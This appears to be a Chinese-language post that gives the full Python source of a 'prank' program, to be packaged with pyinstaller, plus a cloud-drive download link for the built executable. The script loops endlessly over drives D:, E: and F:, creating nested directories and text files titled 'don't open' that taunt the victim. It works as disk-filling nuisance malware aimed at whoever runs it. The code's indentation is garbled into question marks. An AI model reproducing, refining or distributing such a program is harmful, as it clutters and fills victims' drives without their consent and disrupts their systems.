搞怪程序
#python 搞怪程序,亂建文件。使用pyinstaller打包~
import os
def main():
? ? ls=['D:\\','E:\\','F:\\']
? ? i=0;s='不要打開';_str='讓你別打開你不聽,吃虧了吧?。?#39;
? ? print("正在初始化 ,請耐心等待~")
? ? while True:
? ? ? ? name=s+str(i)+'.txt'
? ? ? ? file_paths=os.listdir(ls[i%3])
? ? ? ? file_path=file_paths[i%len(file_paths)]
? ? ? ? print(file_path)
? ? ? ??make_boom(file_path+str(i), 1000, 1000,name,_str)
? ? ? ? make_boom(name+str(i), 1000, 1000,name,_str)
? ? ? ? with open(name,'w') as fw:
? ? ? ? ? ? fw.write(_str*100)
? ? ? ? fw.close()
? ? ? ? i=i+1
def make_boom(file_path, file_num, string_len,file_name,_str):
? ? if not os.path.exists(file_path):
? ? ? ? os.mkdir(file_path)
? ? os.chdir(file_path)
? ? for i in range(file_num):
? ? ? ? with open(file_name, 'w',encoding='utf-8') as f:
? ? ? ? ? ? f.write(_str* string_len)
if __name__ == '__main__':
? ? main()
'''
相關(guān)程序連接如下:
鏈接:https://pan.baidu.com/s/1UJK0xs4UsacJ2N5jBJjsLw?
提取碼:FHAN?
'''